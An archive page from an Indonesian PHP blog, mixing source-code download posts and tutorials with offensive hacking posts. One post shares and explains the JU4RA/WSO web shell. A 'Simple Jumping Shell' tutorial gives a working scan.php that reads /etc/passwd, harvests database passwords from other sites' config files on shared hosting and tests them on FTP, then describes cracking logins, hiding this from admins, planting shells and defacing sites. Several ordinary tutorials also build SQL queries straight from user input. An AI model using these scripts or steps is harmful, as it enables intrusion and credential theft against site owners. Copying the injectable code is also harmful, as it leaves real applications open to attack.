.
Tampilkan postingan dengan label PHP. Tampilkan semua postingan
Tampilkan postingan dengan label PHP. Tampilkan semua postingan

Jumat, 15 November 2013

source code Aplikasi Reservasi Hotel dengan PHP MySQL

Berikut Screenshot nya






Cara pakai :
Buat sebuah database di PhpMyAdmin myhotel
import myhotel.sql

file konfigurasi :
- config.php


$basefolder="hotel"; //folder web

$dbhost="localhost"; //host mysql

$dbuser="root"; //user mysql

$dbpass=""; //password mysql

$dbname="myhotel"; //nama database mysql


$pathfolder = "C:/xampp/htdocs/hotel/uploads/";

//jika menggunakan web offline buat path dimana diinstall

//format : driveinstallWebserver:/folderwebserver/folderwweb/namafolderaplikasi/uploads/

- includes\ckfinder\config.php

ubah $baseUrl , contoh jika menggunakan folder hotelku, maka ubah

menjadi "/hotelku/uploads/" , defaultnya "/hotel/uploads/"

Untuk login :

buka dengan url : login.php

username : admin

password : admin


Jika ada pertanyaan, bisa langsung kasih komentar di bawah artikel ini :)


DOWNLOAD

Cara Mudah Membuat Aplikasi Dengan PHP

Membuat Aplikasi Dengan PHP. Masa bisa ??,, banyak mungkin diantara kita yang belum mengetahuinya, ya aplikasi yang tentunya adalah aplikasi dengan basis web. Baru-baru ini atau bahkan sudah banyak yang tau, bahwa membuat aplikasi php yang berbasis web, ternyata juga bisa dibuat versi dot “exe” yang mana fungsinya adalah agar bisa diinstall di komputer tanpa jaringan internet atau online, namun untuk membuat aplikasi tersebut juga menggunakan aplikasi lainya.
membuat aplikasi dengan php
membuat aplikasi dengan php
Dalam kaitanya dengan membuat aplikasi dengan php, banyak hal bisa kita buat dengan php. Untuk lebih lengkapnya baca terus artikel ini sampai habis.
Yang perlu diingat adalah bagaimana ide kita atau kreativitas kita dalam mengembangkan aplikasi bisa terus berinovasi, masalah bahasa pemrogramannya php atau yang lainya itu adalah sebenarnya cuman masalah implementasi dari sebuah ide yang kita miliki.

 Contoh aplikasi dengan PHP

Berikut adalah contoh aplikasi yang dibuat dengan php,
1. Google
Google adalah mesin penyacari yang sangat berkembang pesat. Aplikasi yang di kembangkannya pun sangat mempuni di bidang internet. Pokoknya Teman semua sudah tahu lah hebatnya google itu seperti apa,, yakan ????
2. Blogger
Sudah tahu blogger kan ??, atau masih belum kenal ??, kalau belum coba tanya mbah saya “google”, pasti dikasih tahu. Blogger merupakan contoh aplikasi yang dikembangkan oleh google. Blogger adalah aplikasi web yang memungkinkan kita dapat menjadi seorang pengguna yang sehingga bisa melakukan aktivitas blogging yang disediakan oleh blogger, seperti, posting, mengedit desain blog,  yang lainya.
3. WordPress
WordPress juga merupakan aplikasi web sejenis blog, namun disini ada yang dikembangkang dengan dua pilihan. Ada wordpress yang bersifat untuk domain sendiri atau selft domain atau juga wordpress yang domainya boleh ditentutkan oleh peraturan wordpress dengan beberapa keterbatasan.
4. Facebook
Saya jamin yang baca artikel ini sudah punya facebook, kalau belum saya gak posting lagi deh,, beneran :d. Facebook juga bisa kita golongkan sebagai aplikasi web. Fitur facebook juga mengintegrasi beberapa aplikasi menjadi satu, seperti misalnya aplikasi web yang dipadukan dengan aplikasi berbasis multimedia, dan juga aplikasi komputer.

Masih bayak lagi aplikasi web, yang mungkin tidak kita sadari. Tapi cepat atau lambat aplikasi akan berkembang menuju aplikasi  berbasis internet yang menggunkan jaringan sebagai media integrasinya.

Ide aplikasi dengan php


1. Membuat peta online
Ini adalah salah satu contoh berkembangkannya teknologi dan aplikasi. Yang kita tahu bahwa dulu peta berada sebuat kertas, namun kini bisa kita lihat secara realtime menggunakan komputer, atau bahkan hanya lewat handphone saja. Wowww,,, keren kan..
2. Kuis online
Juga,, bisa kita contohkan. Biasanya orang main kuis, secara tatap muka, Dengan adanya palikasi web yang memungkinkan untuk berinteraksi secara langsung, bermain kuis pun bisa dimana saja, tentunya dengan perkembangan teknologi seperti sekarang ini. Seperti gadget atau yang lainya.
3. Robot chating
Saya pernah mengetahui, salah satu contoh ini adalah seperti apa yang telah dibuat oleh salah satu senior saya dibangku kuliah. Ia membuat sebuat robot chatting yang terbuat dari koding php. Mantap kan..
4. Toko pulsa online
Beli pulsa tahun depan jangan ke counter pulsa lagi, cukup beli dirumah juga bisa. hehehe tahunn kapan ya,,,

opps,, hampir ketinggalan lalu bagaiman membuat aplikasi php itu bisa dikatakan mudah, Mungkin beberapa langkah ini adalah sebagai contoh mengapa bisa dikatakan mudah..
1. Sediakan komputer/Laptop , Ia donk mau ngoding kalau g ada komputer ya gak bisa buat aplikasi.
2. Pasang Notepad++, bisa juga menggunakan teks editor yang lainya.
3. Pasang Server, Server yang bisa kita gunakah contohnya xampp, wampp, upserve dan lain-lain
4. Pasang browser, browser adalah alat untuk merunning aplikasi web yang sudah kita buat. Contoh browser yang bisa kita pakai, opera, google chrome, mozila, netscpae dan lain-lain
5. Mulai ngoding Php, happy ngoding,,,,,

Mungkin itulah sedikit sharing saya tentang membuat aplikasi dengan php. Semoga bermanfaat.

Download Aplikasi PHP, Web Distro Online

Download Aplikasi PHP, Web Distro Online - Untuk kesempatan kali ini, aku akan membahas tentang Pemrograman Web. Kalau bicara tentang pemrograman web, kamu akan banyak bergelut dengan yang namanya PHP, CSS, HTML dll. Dan yang ingin aku bahas pada artikel ini adalah sebuah aplikasi penjualan sederhana dengan PHP.

Apliaksi Web berbasis PHP yang di dalamnya terdapat fungsi untuk melakukan transaksi jual beli. Tentunya aplikasi ini bukanlah Website dengan fungsi kompleks seperti Website penjualan pada umumnya. Masih membutuhkan banyak pengembangan dalam aplikasi ini.

Aplikasi distro online ini diciptakan oleh seorang Blogger dari Banyuwangi yang mempunyai Official Website www.gedelumbung.com . Silahkan bagi kamu yang ingin belajar banyak tentang segala jenis pemrogram dapat berkunjung ke Website Gede Lumbung.

 Berikut ini screenshot Website Distro Online :



Dan berikut ini Link Downloadnya :

Download Distro Online

Kamis, 29 November 2012

Membuat Script PHP untuk Mengirim SMS itu Sangat Mudah


Gammu
Gammu
Kali ini akan membahas tentang membuat aplikasi untuk mengirim SMS menggunakan bahasa pemrograman PHP. Kebanyakan orang akan menggunakan Gammu sebagai SMS Gateway-nya, namun kali ini Saya akan menggunakan sebuah software SMS Gateway yang berbasis visual dimana cara penggunaannya jauh lebih mudah daripada menggunakan Gammu.
Gammu memang SMS Gateway yang sangat handal dan sudah banyak  orang yang menggunakannya, namun ia masih berbasis Command Line (berbasis DOS di Windows atau berbasis Terminal di Linux).
Karena sudah banyak yang menggunakan Gammu untuk SMS Gateway dan banyak pula yang mengalami kesulitan di dalam penggunaannya (khususnya bagi yang masih awam), maka kali ini akan Saya ketengahkan cara mudah membuat aplikasi berbasis SMS Menggunakan Lawoo SMS Gateway.
Lawoo SMS Gateway
Lawoo SMS Gateway
Sedangkan, Lawoo SMS Gateway merupakan software SMS Gateway seperti Gammu yang berfungsi utama sebagai aplikasi yang selalu berkomunikasi dengan modem, dimana SMS yang masuk maupun yang akan dikirim akan ditangani langsung oleh aplikasi SMS Gateway ini.
Lawoo SMS Gateway adalah sebuah software yang bersifat Shareware, Anda dapat mencobanya terlebih dahulu dan selama masa trial, terdapat limitasi penambahan kalimat: “Lawoo Trial Version” di setiap SMS yang terkirim. Jika Anda merasa mantab menggunakan Lawoo SMS Gateway ini, Anda dapat membeli lisensinya hanya senilai Rp. 75.000 per unit. Harga yang sangat murah untuk sebuah aplikasi SMS Gateway yang menawarkan kemudahan di dalam pemakaiannya tanpa harus ribet-ribet mengatur berbagai konfigurasi yang berbasis Command Line (DOS/Terminal).
Baiklah, langsung saja kita praktekkan cara membuat aplikasi berbasis SMS dengan menggunakan PHP dan Lawoo SMS Gateway.
Catatan:
Sebelum memulai membuat aplikasi berbasis SMS dengan PHP ini, sebaiknya Anda mendownload terlebih dahulu Lawoo SMS Gateway kemudian download pula Buku Manualnya di alamat tersebut, kemudian ikuti petunjuk cara instalasi seperti yang tercantum di dalam buku manualnya.
Ok, mari kita mulai membuat script PHP-nya:
1. Saya asumsikan Anda menggunakan XAMPP. Maka buatlah terlebih dahulu sebuah folder baru bernama “smsku” di c:xampphtdocs dengan menggunakan Windows Explorer. Folder smsku ini nantinya akan digunakan untuk tempat menyimpan file-file php yang akan kita buat dalam tutorial ini.
2. Selanjutnya bukalah software text editor Anda, misalnya gunakan Notepad++ , kemudian buatlah sebuah file php baru dan ketiklah beberapa baris kode berikut ini:
<?php

     $server="localhost"; //alamat host
     $user="root";        //nama user mysql anda
     $pass="";            //password mysql anda
     $dbname="lawoo_db";  //nama database yang digunakan oleh Lawoo SMSGateway
     $koneksi=mysql_connect($server,$user,$pass);
     $database=mysql_select_db($dbname);

?>
Selanjutnya simpan file tersebut dengan nama config.php.
3. Buatlah file php baru lagi menggunakan Notepad++, file php ini nantinya berfungsi sebagai form pengiriman SMS. Adapun scriptnya adalah sebagai berikut:
<html>
<head>
<title>Kirim SMS</title>
</head>

 <body>

<p><strong>KIRIM SMS</strong></p>

<form id="form1" name="form1" method="post" action="kirim.php">

  <table width="400" border="1" cellspacing="0" cellpadding="0">

    <tr>

      <td>Modem:</td>

      <td><select name="txtimei" id="txtimei">

      <?php

        include("config.php");

        $sql="SELECT * FROM modem";

        $qry=mysql_query($sql);

        while($kol=mysql_fetch_array($qry))

        {

            echo "<option value='$kol[IMEI]'>$kol[MODEL] - $kol[IMEI]</option>";

        }

      ?></select>

      </td>

    </tr>

    <tr>

      <td width="134">No. Tujuan:</td>

      <td width="260"><input type="text" name="textnotujuan" id="textnotujuan" /></td>

    </tr>

    <tr>

      <td>Isi SMS:</td>

      <td><textarea name="textisisms" id="textisisms" cols="30" rows="5"></textarea></td>

    </tr>

    <tr>

      <td> </td>

      <td> </td>

    </tr>

    <tr>

      <td> </td>

      <td><input type="submit" name="button" id="button" value="Kirim" />

      <input type="reset" name="button2" id="button2" value="Reset" /></td>

    </tr>

  </table>

</form>

</body>

</html>
Simpan script diatas dengan nama form_kirim.php.
4. Selanjutnya, buat sebuah file baru lagi yang berfungsi untuk memproses form di atas. Script lengkapnya sebagai berikut:
 <?php

    include("config.php");

    $notujuan=$_POST["textnotujuan"];

    $isisms=$_POST["textisisms"];

    $tanggal=date("Y-m-d H:i");

    $imei=$_POST["txtimei"];

    $priority='5';

    $sql="INSERT INTO outbox (SENDINGDATETIME, MESSAGES, DESTINATIONNUMBER, PRIORITY, IMEI) VALUES ('$tanggal', '$isisms', '$notujuan', '$priority', '$imei')";

    $query=mysql_query($sql) or die(mysql_error());

    echo "<a href='form_kirim.php'>SMS terkirim. <br/>Kembali</a>";
 
?>
Simpan script diatas dengan nama kirim.php.
Selesai, sekarang saatnya menguji coba script diatas. Caranya:
1. Aktifkan Lawoo SMS Gateway terlebih dahulu (untuk cara penggunaan Lawo SMS Gateway dapat dibaca di buku manual yang disediakan).
Lawoo SMS Gateway
Lawoo SMS Gateway
2. Buka browser favorit Anda, ketik alamat http://localhost/smsku/
3. Isi nomor tujuan dan isi SMS kemudian klik kirim.
4. SMS akan segera terkirim
Selamat mencoba.

Rabu, 21 November 2012

Penjelasan Shell JU4RA

Sebelumnya saya minta maaf lupa share pengunaan shell pada post Berbagi Source Code Shell JU4RA
shell ini menggunakan akses login pribadi, untuk passwordnya silahkan di edit source ini
<?php
/* WSO 2.1 (Web Shell by oRb) */
$auth_pass = "2dc10f675cf85ae073e2cdd816d5499e";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
 header('HTTP/1.0 404 Not Found');
 exit;
}
yang berwarna hijau itu encrypt passwordnya standartnya ju4ra
kalo mau edit silahkan decrypt password anda sendiri, source tipe passwordnya
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
 if( empty( $auth_pass ) ||
  ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else 

untuk loginnya tersembunyi, bisa dicek digambar dibawah ini


monggo dinikmati

Selasa, 20 November 2012

PHP Source Code - Sistem Informasi Kampus





Smart SisfoKampus adalah Sistem Informasi Manajemen Kampus Indonesia. Tercermin bahwa Smart SisfoKampus ditujukan untuk mengelola Sistem Informasi Kampus, dalam hal ini adalah Perguruan Tinggi di Indonesia.

Modul Smart SisfoKampus

Modul di dalam Smart SisfoKampus dirancang mengikuti bisnis proses yang ada di dalam manajemen perguruan tinggi di Indonesia. Setiap modul mencerminkan fungsionalitas dan proses sesuai dengan has akses dari setiap user. Deskripsi detil dari masing-masing modul adalah sebagai berikut:
  1. Modul Administrasi Sistem
  2. Modul Administrasi Master
  3. Modul Kepala Admisi (Penerimaan Mahasiswa Baru)
  4. Modul Admisi (Penerimaan Mahasiswa Baru)
  5. Modul Kepala Administrasi Akademik (Ka.BAA)
  6. Modul Administrasi Akademik
  7. Modul Rektorat
  8. Modul Keuangan
  9. Modul Jurusan
  10. Modul Dosen
  11. Modul Mahasiswa
  12. Modul SMS Gateway
  13. Modul Utiliti (DIKTI)
Smart SisfoKampus memiliki lisensi GNU/GPL (General Public License). Dengan demikian Smart SisfoKampus dapat dipergunakan dan dimanfaatkan sepenuhnya sesuai dengan azas GNU/GPL. Jangan lupa bahwa Smart SisfoKampus adalah Open Source, maka sourcenya dapat di download bebas.
Download Source Code here
Mirror
versi 3.5 8MB
versi 2005 582KB
versi 3.5 tar.gz 2MB 
File Size : 7,847 KB
File pendukung :

PHP Source Code - Sistem Informasi Kepegawaian

Sistem Informasi Kepegawaian berbasis platform PHP dengan database My SQL

Pada aplikasi ini karyawan dapat mengajukan permohonan cuti dan mendapatkan persetujuan cuti dari atasan secara online. Atasan dapat melihat daftar riwayat cuti karyawan.

Download source code

Program pendukung
1. PHP Triad
2. My SQL
3. PHP Editor

Senin, 19 November 2012

Berbagi Source Code Shell JU4RA

Hanya mau berbagi aja, kalo mau dikembangkan atau diedir silahkan :)

Silahkan download di sini JU4RA

Sabtu, 17 November 2012

[TUTORIAL] Simple Jumping Shell

ambil dari yang saya share di YF hehehehe

Hehehe Maaf Pertama Kali Sharing Tutorial, kalo uda ngerti mav ya ,, sharing aja
Ni sistemnya cm scanning Dir website yang satu hosting dengan shell yang kita punya ( ga semuanya shell berhasil )
biasanya kalo open read /etc/passwd terbuka seperti dibawah kadang bisa discan
CODE: SELECT ALL
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

1. siapkan shell yang kamu punya
Image

2. upload scan.php
Image
CODE: SELECT ALL
    <?php
    echo "<html>";
    echo "<title>JU4RA | CYBER Forum Yogyafree Keren Yach</title><body>";

    set_time_limit(0);
    ##################
    @$passwd=fopen('/etc/passwd','r');
    if (!$passwd) {
    echo "[-] Error : coudn't read /etc/passwd";
    exit;
    }
    $path_to_public=array();
    $users=array();
    $pathtoconf=array();
    $i=0;

    while(!feof($passwd)) {
    $str=fgets($passwd);
    if ($i>35) {
    $pos=strpos($str,":");
    $username=substr($str,0,$pos);
    $dirz="/home/$username/public_html/";
    if (($username!="")) {
    if (is_readable($dirz)) {
    array_push($users,$username);
    array_push($path_to_public,$dirz);
    }
    }
    }
    $i++;
    }
    ###################

    #########################
    echo "<br><br>";
    echo "<textarea name='main_window' cols=100 rows=20>";

    echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
    echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";

    echo "[~] Searching for passwords in config.* files...\n\n";
    foreach ($users as $user) {
    $path="/home/$user/public_html/";
    read_dir($path,$user);
    }

    echo "\n[+] Done\n";

    function read_dir($path,$username) {
    if ($handle = opendir($path)) {
    while (false !== ($file = readdir($handle))) {
    $fpath="$path$file";
    if (($file!='.') and ($file!='..')) {
    if (is_readable($fpath)) {
    $dr="$fpath/";
    if (is_dir($dr)) {
    read_dir($dr,$username);
    }
    else {
    if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='configuration.php') or ($file=='db_connect.php')) {
    $pass=get_pass($fpath);
    if ($pass!='') {
    echo "[+] $fpath\n$pass\n";
    ftp_check($username,$pass);
    }
    }
    }
    }
    }
    }
    }
    }

    function get_pass($link) {
    @$config=fopen($link,'r');
    while(!feof($config)) {
    $line=fgets($config);
    if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
    if (strrpos($line,'"'))
    $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
    else
    $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
    return $pass;
    }
    }
    }

    function ftp_check($login,$pass) {
    @$ftp=ftp_connect('127.0.0.1');
    if ($ftp) {
    @$res=ftp_login($ftp,$login,$pass);
    if ($res) {
    echo '[FTP] '.$login.':'.$pass."  Success\n";
    }
    else ftp_quit($ftp);
    }
    }

    echo "</textarea><br>";

    echo "</body></html>";
    ?>

3. Buka file scan.php msl: http://targer.com/scan.php
tunggu beberapa saat, emang agak lama
Image

4. Buka shell kamu copykan hasil scannan tadi ke change dir shell kamu ato masukkan dir config ke read file
Image

5. Setelah dapat login Sql dbnya ,, crack dah passwordnya ,, kalo ga bisa di crack edit aja ,,
asal jangan lupa ntar dikembalikan kesemula ,, biar admin ga tau ,,

6. Setelah itu login di admin page webnya

7. upload dah shell baru ,, ato deface ,,

maaf kalo kurang jelas ato repost ,, 
Thankz for All 

Membuat/Mendesain Website di Linux


Bagaimana caranya mendesain dan mengembangkan aplikasi berbasis web di Linux.

Saya memulai belajar HTML ketika saya masih duduk di bangku SMK. Dokument HTML pertama kali yang saya buat menggunakan text editor di Windows, Notepad. Yeah, mungkin waktu itu sistem operasi yang saya kenal hanya Windows saja. Dan tentunya hanya itu text editor yang saya pakai pada saat itu. Pengetahuan saya masih minim, saya tidak mengenal IDE seperti Dreamwaver dan teman-temannya. Ketika saya mengenal Dreamwaver, saya merasa membuat sebuah dokumen HTML sangatlah mudah. IDE ajaib ini telah mengubah pandangan saya mengenai cara membuat dokumen HTML. Sudah ada Dreamwaver mengapa harus menggunakan notepad?

Jika menggunakan notepad, aktifitas mencet keyboard adalah 100%, hasil pencetan tadi harus kita cek dengan menggunakan web browser.  Dan jika menggunakan Dreamwaver tinggal klik sana, klik sini, ketik dikit jadi deh. Dan yang lebih canggih, kita tidak perlu mengecek layout yang kita buat lewat browser. Sangat gampang dan cepat. Namun itu tidak bertahan lama, ketika saya sudah mulai belajar pemrograman berbasis web seperti PHP, dan Javascript. Pada saat itu dominan desain yang saya buat masih Tables atau sebagian besar menggunakan tabel, jadi masih ngga masalah jika hanya menggunakan Dreamwaver. Tapi ketika menggunakan CSS, ceritanya lain lagi. Apalagi setiap web browser menampilkan layout yang kita buat dengan cara yang berbeda-beda, terutama Internet Explorer. Yeah, IE memang web browser yang selalu ingin tampil beda. Buat desainer web pasti ngerti maksud saya hehehe :D



Kita tidak bisa mencoba aplikasi yang kita buat menggunakan PHP, Javascript atau bahasa pemrograman yang lainnya via IDE, yang paling bagus buat ngetes ya web browser itu sendiri. Pokoknya web browser ngga bakalan pernah bohongin kita deh. Nah dari sana saya berfikir, ngga ada lagi IDE yang super canggih untuk desain website. Dalam desain atau pemrograman web, yang canggih itu harus logika dan ide kita sendiri. Nah karena pada saat itu spesifikasi komputer yang saya gunakan bisa dibilang "merangkak" dan ketika menjalankan Dreamwaver leletnya minta ampun, saya kembali berfikir untuk menggunakan Notepad saja daripada Dreamwaver. Toh juga nantinya test programnya lewat browser, bener ngga? Dan pada akhirnya ketemulah sama Notepad++, mungkin bisa dibilang Cucunya Notepad yang tampil lebih smart dari moyangnya.

Selanjutnya, dalam mengembangkan aplikasi bebasis web, sebelum mengenal Linux, saya biasanya menggunakan Notepad++ sebagai text editor. Ketika teman-teman saya melihat saya ngoding menggunakan Notepad++ mereka pasti akan menyarankan menggunakan Dreamwaver, dan tentu saja dengan sedikit sombong saya jawab, "Sama saja". He he he, maaf jika pembaca tidak berkenan tapi begitulah menurut saya. Yah, daripada harus menjalankan Dreamwaver dengan resource yang lumayan besar, saya lebih memilih Notepad++ dengan resource yang lebih sedikit namun powerfull. Lagipula Dreamwaver berbayar pula alias ngga ngratis, jika ada versi terbaru kita tentu harus membelinya.

Oke itu pengelaman saya jika mengembangkan aplikasi berbasis web di Windwos, lain ceritanya jika di Linux. Jika di Linux saya punya daftar tersendiri buat aplikasi untuk mengembangkan aplikasi berbasisw web. Kira-kira inilah aplikasi yang sering saya gunakan.

1. Bluefish.
Inilahh editor yang paling saya gemari jika sedang mengembangkan aplikasi berbasis web dengan menggunakan sistem operasi Linux. Sebenarnya Bluefish tidak hanya ada di Linux tapi juga tersedia untuk sistem operasi Windows. Masih saudaraan dengan Notepad++ menurut saya. Namun dia memiliki keahlian khusu yaitu untuk web application. Dilengkapi dengan fitur autocomplete jadi sangat membantu dalam pengembangan aplikasi berbasis web. Selain itu bluefish sangat ringan dan hanya memerlukan sedikit resource. Pokoknya mantep deh, dan menurut banyak developer web yang bekerja menggunakan Linux, Bluefish adalah editor yang sangat disarankan.

Cara Install (Debian, Ubuntu, Linux Mint dan turunannya)
sudo apt-get install bluefish
Atau distro Linux lainnya download di sini

2. Geany
Saya bisa ibaratkan Notepad++ dan Geany itu sebelas duabelas deh. Sangat mirip banget, multifungsi dan ringan. Mendukung banyak bahasa pemrogaman seperti Pascal, Java, PHP, C, C++ dan lain sebagainya.

Cara Install (Debian, Ubuntu, Linux Mint dan turunannya)
sudo apt-get install geany 
Atau distro Linux lainnya download di sini

3. Aptana Studio
Jika pembaca memiliki spesifikasi komputer yang tinggi, saya sarankan menggunakan aptana studio. Full fitur dan lengkap itulah Aptana Studio. Ngga tanggung, dilengkapi dengan code validator, dan masih banyak lagi plugin-plugin lainnya. Anda bisa mendapatkan Aptana Studio dari aptana.comtentunya dengan cuma-cuma

Sebenarnya masih banyak lagi editor-editor yang bagus lainnya, namun menurut pengalaman saya, tiga yang saya sebutkan di atas merupakan yang paling baik. Anda punya banyak pilihan, bahkan gedittext editor standar di Linux juga bisa anda gunakan. Namun untuk masalah web development, saya merekomendasikan tiga aplikasi yang saya sebutkan di atas. Kenapa saya tidak menyebutkan semua? Agar pembaca tidak bingung dan menginstal banyak editor di system pembaca. Untuk aplikasi berbasis web, cukuplah ketiga editor tersebut. Ini sih versi saya, mungkin pembaca masih punya editor yang menurut pembaca lebih baik, jadi kembali ke diri masing-masing saja, jika sudah nyaman dengan pilihan pembaca, mengapa harus beralih ke editor lainnya?

Untuk membuat atau mengedit gambar untuk desain website anda anda bisa menggunakan GIMP dan Inkscape dan kebanyak distro Linux sudah menginstallnya secara default. Mungkin pertama kali menggunakan GIMP ataupun Inkscape akan sedikit kebingungan, namun setelah dipelajari saya yakin anda pasti bisa menggunakannya. Jika GIMP atau Inkscape belum terinstall di system Linux anda berikut adalah cara untuk menginstallnya (Debian, Ubuntu, Linux Mint, dan turunannya).

GIMP
sudo apt-get install gimp
Inkscape
sudo apt-get install inkscape
Jika anda ingin belajar tentang GIMP dan Inkscape anda bisa belajar dari sangguru.com  (tutorial berbahasa Indonesia)

Nah selanjutnya, bagaimana cara menginstall web server di Linux? Saya akan memberitahukan cara yang paling mudah dan tentunya paling cepat. Anda hanya perlu menginstall LAMPP (XAMPP), sehingga anda tidak perlu menginstall PHP, apache dan MySql secara terpisah. Silahkan download terlebih dahulu LAMPP di sini. Jika sudah selesai mendownload, silahkan letakan file file xampp-linux-x.x.x.tar.gz di direktori /home. Buka terminal dengan menekan Ctrl + Alt + T atau dari Accessories > Terminal kemudian ketikan:
sudo tar xvfz xampp-linux-x.x.x.tar.gz -C /opt
Ubah huruf X sesuai dengan kode versi dari XAMPP yang anda download, misalkan XAMPP-1.8.0.tar.gz. Perintah tersebut akan mengekstrak file yang anda download tadi ke direktori /opt.
Untuk menjalankan service, ketikan:
sudo /opt/lampp/lampp start
Nah sekarang, service (apache, PHP, dan MySql)  anda sudah berjalan. Cobalah ketikan 127.0.0.1 atau localhost di web browser anda untuk mengecek apakah XAMPP anda sudah terinstall dengan benar.

Folder htdocs anda berada di /opt/lampp/htdocs/  nah langkah terakhir adalah mengubah hak akses folder tersebut agar anda bisa membaca, menulis, atau menjalankan file, folder, atau aplikasi di folder tersebut lewat Nautilus. Silahkan ketikan perintah berikut di Terminal.
sudo chmod 777 -R /opt/lampp/htdocs
Mungkin sekian dulu tuilisan kali ini, semoga bermanfaat bagi pembaca.

Kamis, 15 November 2012

Contoh Aplikasi PHP Dalam Penggunaan Session

Untuk mengenal dan memahami lebih jauh tentang session pada php. buatlah project berikut ini


Langkah Pertama membuat file setup.php untuk membuat database:

setup.php

<html>
<head>
<title>Setup Database</title>
</head>

<body>
<?php
$cn = @mysql_connect("localhost", "root", "") or die ("Gagal konek ke MySQL.");
mysql_query("drop database if exists db_user", $cn) or die ("Gagal menghapus database.");
mysql_query("create database db_user", $cn) or die ("Gagal membuat database.");
mysql_select_db("db_user", $cn) or die ("Gagal membuka database.");
mysql_query("create table tb_user (
login_username varchar(32) not null,
login_password char (32),
login_rights varchar (32),
primary key(login_username)
)", $cn) or die("Gagal membuat table.");
mysql_query("insert into tb_user values('admin', md5('admin'), '[A] [U]')", $cn);
mysql_query("insert into tb_user values('user', md5('user'), '[U]'", $cn);
mysql_close($cn);
?>
<p>Sukses meng-setup database!<br/>
username: <b>admin</b> dan Password: <b>admin</b>
username: <b>user</b> dan Password: <b>user</b>
</p>
<p>Silakan menuju <a href="index.php">index.php</a></p>
</body>
</html>

Kedua Membuat File Halaman Utama :

index.php

<html>
<head>
<title>Homepage</title>
</head>
<body>
<P>
<a href="index.php">Home</a> |
<a href="login.php">Login</a> |
<a href="member.php">Member</a> |
<a href="logout.php">Logout</a>
</P>
<p>Selamat datang. Di sini semua orang bisa mengakses.</p>
</body>
</html>

Ketiga membuat file yang hanya dapat diakses untuk member saja :

member.php

<?php
session_start();
$username = "";
$password = "";
if (isset($_SESSION['username']) && isset($_SESSION['password'])) {
$un = $_SESSION['username'];
$pw = md5($_SESSION['password']);
$cn = @mysql_connect("localhost", "root", "") or die ("Gagal konek ke MySQL.");
mysql_select_db("db_user") or die ("Gagal memilih database.");
$query = "select * from tb_user where
login_username ='$un' and login_password = '$pw'";
$hasil = mysql_query($query) or die ("Gagal melakukan query.");
if ($hasil !=false) {
if (mysql_num_rows($hasil) ==1) {
$username = $_SESSION['username'];
$password = $_SESSION['password'];
};
};
};
?>
<html>
<head>
<title>Members Only</title>
</head>
<body>
<p>
<a href="index.php">Home</a> |
<a href="member.php">login</a> |
<a href="member.php">member</a> |
<a href="logout.php">logout</a>
</p>
<?php
if (empty($username) || empty($password)) {
echo "<p>Maaf, hanya members yang boleh mengakses halaman ini.</p>";
}
else {
?>
<p>
Selamat datang <b><?php echo $username; ?></b>
</p>
<?php
};
?>
</body>
</html>

Keempat membuat form login
login.php
<?php
session_start();
$username = "";
$password = "";
if (isset($_POST['username']) && isset($_POST['password'])) {
$un = $_POST['username'];
$pw = md5($_POST['password']);
$cn = @mysql_connect("localhost", "root", "") or die ("Gagal konek ke mysql.");
mysql_select_db("db_user") or die ("Gagal memilih database.");
$query = "select * from tb_user where
login_username = '$un' and login_password = '$pw'";
$hasil = mysql_query($query) or die ("Gagal melakukan query.");
if ($hasil !=false) {
if (mysql_num_rows($hasil) ==1) {
$username = $_POST['username'];
$password = $_POST['Password'];
$_SESSION['username'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'];
};
};
};
?>
<html>
<head>
<title>Login</title>
</head>
<body>
<p>
<a href="index.php">Home</a> |
<a href="login.php">Login</a> |
<a href="member.php">Member</a> |
<a href="logout.php">Logout</a>
</p>
<p>
<?php
if (empty($username)) {
if (isset($_POST['username']) || isset($_POST['password'])) {
echo "<p>Username dan pasaword yang anda ketik adalah salah!</p>";
};
?>
<form name="login_form" method="post" action="login.php">
username: <input name="username" size="32" maxleght="32" ><br/>
password: <input name="password" type="password" maxleght="32" ><br/>
<input type="submit" name="button" value="submit" >
</form>
<?php
}
else {
?>
<p>Anda telah berhasil melakukan login.</p>
<?php
};
?>
</p>
</body>
</html>

Kelima atau yang terakhir membuat file logout
logout.php
<?php
session_start();
unset($_SESSION['username']);
unset($_SESSION['password']);
?>
<html>
<head>
<title>logout</title>
</head>
<body>
<p>
<a href="index.php">Home</a> |
<a href="login.php">Login</a> |
<a href="memeber.php">Member</a> |
<a href="logout.php">Logout</a>
</p>
<p>
okee...Anda sudah logout.
</p>
</body>
</html>

S
emoga Bermanfaat! 

Senin, 12 November 2012

Code Igniter CRUD (Create, Update, Delete) Menggunakan Flexigrid


Saat ini saya sedang mengerjakan Aplikasi Web untuk divisi Support di kantor saya menggunakan framework PHP Code Igniter. Saya ingin sharing bagian CRUD (Create,Update,Delete) karena biasanya bagian ini yang paling membuat frustasi (menurut saya sih).
Silahkan coba demonya di http://flashhandphone.tk/cicrud/cicrud/index.php/main
user: admin
password : admin123
Berikut beberapa screen capturenya:
Download source code disini
Download SQL Script disini

Aplikasi Android Nama Bayi dengan PHP, MySQL dan JSON (Source Code)


Aplikasi nama bayi sederhana ini adalah hasil pengembangan dari aplikasi nama bayi yang pernah saya buat menggunakan Delphi 7 dengan database MS-Access di link ini :http://pcdokter.blogspot.com/2012/11/aplikasi-nama-bayi-gratis.html
Sisi server menggunakan database MySQL dan PHP sederhana, hanya untuk mengenerate JSON berdasarkan query string yang dikirim dari android.
